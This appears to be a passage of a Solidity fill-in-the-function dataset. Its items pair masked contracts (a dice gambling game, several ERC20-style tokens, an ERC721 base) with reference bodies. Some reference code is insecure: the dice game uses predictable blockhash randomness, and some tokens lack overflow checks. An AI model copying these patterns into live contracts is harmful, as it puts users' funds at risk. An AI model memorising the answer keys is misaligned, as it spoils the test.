totalTurnover = totalTurnover.add(bet); totalPlayed = totalPlayed.add(1); emit PlaceBet(msg.sender, bet, dice, now); } function result() public checkBlockNumber onlyUsers{<FILL_FUNCTION_BODY> } function getXRate(bool[6] dice) public pure returns(uint){ uint sum; for(uint i = 0; i < dice.length; i++){ if(dice[i] == true) sum = sum.add(1); } if(sum == 1) return 500; if(sum == 2) return 250; if(sum == 3) return 180; if(sum == 4) return 135; if(sum == 5) return 110; if(sum == 6 || sum == 0) return 0; } function getDice(uint r) private pure returns (uint){ if((r > 0 && r <= 50) || (r > 300 && r <= 350)){ return 1; } else if((r > 50 && r <= 100) || (r > 500 && r <= 550)){ return 2; } else if((r > 100 && r <= 150) || (r > 450 && r <= 500)){ return 3; } else if((r > 150 && r <= 200) || (r > 400 && r <= 450)){ return 4; } else if((r > 200 && r <= 250) || (r > 350 && r <= 400)){ return 5; } else if((r > 250 && r <= 300) || (r > 550 && r <= 600)){ return 6; } } function checkSolvency(uint bet) view public returns(bool){ if(getContractBalance() > bet.add(bet.mul(500).div(100)).add(jackpotBalance)) return true; else return false; } function sendDividends() public { require(getContractBalance() > minContractBalance && now > nextPayout, "You cannot send dividends"); DSG DSG0 = DSG(DSG_ADDRESS); uint256 balance = getContractBalance(); uint256 dividends = balance.sub(minContractBalance); nextPayout = now.add(7 days); totalDividends = totalDividends.add(dividends); DSG0.gamingDividendsReception.value(dividends)(); emit Dividends(balance, dividends, now); } function getContractBalance() public view returns (uint256){ return address(this).balance; } function _random(uint256 max) private view returns(uint256){ bytes32 hash = blockhash(usersBets[msg.sender].blockNumber); return uint256(keccak256(abi.encode(hash, msg.sender))) % max; } function deposit() public payable onlyOwners{ ownerDeposit = ownerDeposit.add(msg.value); } function sendOwnerDeposit(address recipient) public onlyOwners{ require(paused == true, 'Game was not stopped'); uint256 contractBalance = getContractBalance(); if(contractBalance >= ownerDeposit){ recipient.transfer(ownerDeposit); } else{ recipient.transfer(contractBalance); } delete jackpotBalance; delete ownerDeposit; } function pauseGame(bool option) public onlyOwners{ paused = option; } function setMinBet(uint256 eth) public onlyOwners{ minBet = eth; } function setMaxBet(uint256 eth) public onlyOwners{ maxBet = eth; } function setMinBetForJackpot(uint256 eth) public onlyOwners{ minBetForJackpot = eth; } function setMinContractBalance(uint256 eth) public onlyOwners{ minContractBalance = eth; } function transferOwnership(address newOwnerAddress, uint8 k) public onlyOwners{ candidates[k] = newOwnerAddress; } function confirmOwner(uint8 k) public{ require(msg.sender == candidates[k]); owners[k] = candidates[k]; } event Dividends( uint256 balance, uint256 dividends, uint256 timestamp ); event Jackpot( address indexed player, uint256 jackpot, uint256 timestamp ); event PlaceBet( address indexed player, uint256 bet, bool[6] dice, uint256 timestamp ); event Result( address indexed player, uint256 indexed random, uint256 totalWinAmount, uint256 jackpotBalance, uint256 bet, bool[6] dice, uint256 winRate ); }
contract DSG_Dice{ using SafeMath for uint256; address constant public DSG_ADDRESS = 0x696826C18A6Bc9Be4BBfe3c3A6BB9f5a69388687; uint256 public totalDividends; uint256 public totalWinnings; uint256 public totalTurnover; uint256 public totalPlayed; uint256 public maxBet; uint256 public minBet; uint256 public minContractBalance; uint256 public minBetForJackpot; uint256 public jackpotBalance; uint256 public nextPayout; uint256 public ownerDeposit; address[2] public owners; address[2] public candidates; bool public paused; mapping (address => Bet) private usersBets; struct Bet { uint blockNumber; uint bet; bool[6] dice; } modifier onlyOwners(){ require(msg.sender == owners[0] || msg.sender == owners[1]); _; } modifier onlyUsers(){ require(tx.origin == msg.sender); _; } modifier checkBlockNumber(){ uint256 blockNumber = usersBets[msg.sender].blockNumber; if(block.number.sub(blockNumber) >= 250 && blockNumber > 0){ emit Result(msg.sender, 601, 0, jackpotBalance, usersBets[msg.sender].bet, usersBets[msg.sender].dice, 0); delete usersBets[msg.sender]; } else{ _; } } constructor(address secondOwner) public payable{ owners[0] = msg.sender; owners[1] = secondOwner; ownerDeposit = msg.value; jackpotBalance = jackpotBalance.add(ownerDeposit.div(1000)); } function play(bool dice1, bool dice2, bool dice3, bool dice4, bool dice5, bool dice6) public payable checkBlockNumber onlyUsers{ uint256 bet = msg.value; bool[6] memory dice = [dice1, dice2, dice3, dice4, dice5, dice6]; require(getXRate(dice) != 0, "Sides of dice is incorrect"); require(checkSolvency(bet), "Not enough ETH in contract"); require(paused == false, "Game was stopped"); require(bet >= minBet && bet <= maxBet, "Amount should be within range"); require(usersBets[msg.sender].bet == 0, "You have already bet"); usersBets[msg.sender].bet = bet; usersBets[msg.sender].blockNumber = block.number; usersBets[msg.sender].dice = dice; totalTurnover = totalTurnover.add(bet); totalPlayed = totalPlayed.add(1); emit PlaceBet(msg.sender, bet, dice, now); } <FILL_FUNCTION> function getXRate(bool[6] dice) public pure returns(uint){ uint sum; for(uint i = 0; i < dice.length; i++){ if(dice[i] == true) sum = sum.add(1); } if(sum == 1) return 500; if(sum == 2) return 250; if(sum == 3) return 180; if(sum == 4) return 135; if(sum == 5) return 110; if(sum == 6 || sum == 0) return 0; } function getDice(uint r) private pure returns (uint){ if((r > 0 && r <= 50) || (r > 300 && r <= 350)){ return 1; } else if((r > 50 && r <= 100) || (r > 500 && r <= 550)){ return 2; } else if((r > 100 && r <= 150) || (r > 450 && r <= 500)){ return 3; } else if((r > 150 && r <= 200) || (r > 400 && r <= 450)){ return 4; } else if((r > 200 && r <= 250) || (r > 350 && r <= 400)){ return 5; } else if((r > 250 && r <= 300) || (r > 550 && r <= 600)){ return 6; } } function checkSolvency(uint bet) view public returns(bool){ if(getContractBalance() > bet.add(bet.mul(500).div(100)).add(jackpotBalance)) return true; else return false; } function sendDividends() public { require(getContractBalance() > minContractBalance && now > nextPayout, "You cannot send dividends"); DSG DSG0 = DSG(DSG_ADDRESS); uint256 balance = getContractBalance(); uint256 dividends = balance.sub(minContractBalance); nextPayout = now.add(7 days); totalDividends = totalDividends.add(dividends); DSG0.gamingDividendsReception.value(dividends)(); emit Dividends(balance, dividends, now); } function getContractBalance() public view returns (uint256){ return address(this).balance; } function _random(uint256 max) private view returns(uint256){ bytes32 hash = blockhash(usersBets[msg.sender].blockNumber); return uint256(keccak256(abi.encode(hash, msg.sender))) % max; } function deposit() public payable onlyOwners{ ownerDeposit = ownerDeposit.add(msg.value); } function sendOwnerDeposit(address recipient) public onlyOwners{ require(paused == true, 'Game was not stopped'); uint256 contractBalance = getContractBalance(); if(contractBalance >= ownerDeposit){ recipient.transfer(ownerDeposit); } else{ recipient.transfer(contractBalance); } delete jackpotBalance; delete ownerDeposit; } function pauseGame(bool option) public onlyOwners{ paused = option; } function setMinBet(uint256 eth) public onlyOwners{ minBet = eth; } function setMaxBet(uint256 eth) public onlyOwners{ maxBet = eth; } function setMinBetForJackpot(uint256 eth) public onlyOwners{ minBetForJackpot = eth; } function setMinContractBalance(uint256 eth) public onlyOwners{ minContractBalance = eth; } function transferOwnership(address newOwnerAddress, uint8 k) public onlyOwners{ candidates[k] = newOwnerAddress; } function confirmOwner(uint8 k) public{ require(msg.sender == candidates[k]); owners[k] = candidates[k]; } event Dividends( uint256 balance, uint256 dividends, uint256 timestamp ); event Jackpot( address indexed player, uint256 jackpot, uint256 timestamp ); event PlaceBet( address indexed player, uint256 bet, bool[6] dice, uint256 timestamp ); event Result( address indexed player, uint256 indexed random, uint256 totalWinAmount, uint256 jackpotBalance, uint256 bet, bool[6] dice, uint256 winRate ); }
require(blockhash(usersBets[msg.sender].blockNumber) != 0, "Your time to determine the result has come out or not yet come"); uint256 r = _random(601); bool[6] memory dice = usersBets[msg.sender].dice; uint256 bet = usersBets[msg.sender].bet; uint256 rate = getXRate(dice); uint256 totalWinAmount; if(getDice(r) == 1 && dice[0] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 2 && dice[1] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 3 && dice[2] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 4 && dice[3] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 5 && dice[4] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } else if(getDice(r) == 6 && dice[5] == true){ totalWinAmount = totalWinAmount.add(bet.mul(rate).div(100)); } if(bet >= minBetForJackpot && r == 0 && jackpotBalance > 0){ totalWinAmount = totalWinAmount.add(jackpotBalance).add(bet); emit Jackpot(msg.sender, jackpotBalance, now); delete jackpotBalance; } if(totalWinAmount > 0){ msg.sender.transfer(totalWinAmount); totalWinnings = totalWinnings.add(totalWinAmount); } jackpotBalance = jackpotBalance.add(bet.div(1000)); delete usersBets[msg.sender]; emit Result(msg.sender, r, totalWinAmount, jackpotBalance, bet, dice, rate);
function result() public checkBlockNumber onlyUsers
function result() public checkBlockNumber onlyUsers
68664
NewToken
transfer
contract NewToken { uint public totalSupply = 2300000000000000; string public name = "TTInvest"; uint8 public decimals = 8; string public symbol = "TTInvest"; string public version = "1.0"; function NewToken(){ balances[msg.sender] = 2300000000000000; } mapping (address => uint256) balances; mapping (address => mapping (address => uint)) allowed; //Fix for short address attack against ERC20 modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function transfer(address _recipient, uint _value) onlyPayloadSize(2*32) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint _value) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _spender, address _owner) constant returns (uint balance) { return allowed[_owner][_spender]; } //Event which is triggered to log all transfers to this contract's event log event Transfer( address indexed _from, address indexed _to, uint _value ); //Event which is triggered whenever an owner approves a new allowance for a spender. event Approval( address indexed _owner, address indexed _spender, uint _value ); }
contract NewToken { uint public totalSupply = 2300000000000000; string public name = "TTInvest"; uint8 public decimals = 8; string public symbol = "TTInvest"; string public version = "1.0"; function NewToken(){ balances[msg.sender] = 2300000000000000; } mapping (address => uint256) balances; mapping (address => mapping (address => uint)) allowed; //Fix for short address attack against ERC20 modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint _value) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _spender, address _owner) constant returns (uint balance) { return allowed[_owner][_spender]; } //Event which is triggered to log all transfers to this contract's event log event Transfer( address indexed _from, address indexed _to, uint _value ); //Event which is triggered whenever an owner approves a new allowance for a spender. event Approval( address indexed _owner, address indexed _spender, uint _value ); }
require(balances[msg.sender] >= _value && _value > 0); balances[msg.sender] -= _value; balances[_recipient] += _value; Transfer(msg.sender, _recipient, _value);
function transfer(address _recipient, uint _value) onlyPayloadSize(2*32)
function transfer(address _recipient, uint _value) onlyPayloadSize(2*32)
43679
CoXxMoXx
contract CoXxMoXx is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function CoXxMoXx() { balances[msg.sender] = 10000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 10000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "CoXxMoXx"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "CMX"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 500000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() public payable{<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract CoXxMoXx is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function CoXxMoXx() { balances[msg.sender] = 10000000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 10000000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "CoXxMoXx"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "CMX"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 500000000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value);
function() public payable
function() public payable
43792
WorldTravelToken
WorldTravelToken
contract WorldTravelToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function WorldTravelToken() public {<FILL_FUNCTION_BODY> } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract WorldTravelToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
symbol = "WTL"; name = "World Travel Token"; decimals = 18; _totalSupply = 1000000000000000000000000000; balances[0xffEe7b08cbAF12c72aD556Fc1Dd80753cd5dA5e9] = _totalSupply; Transfer(address(0), 0xffEe7b08cbAF12c72aD556Fc1Dd80753cd5dA5e9, _totalSupply);
function WorldTravelToken() public
function WorldTravelToken() public
854
ERC721
_burn
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all"); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual {<FILL_FUNCTION_BODY> } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all"); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ 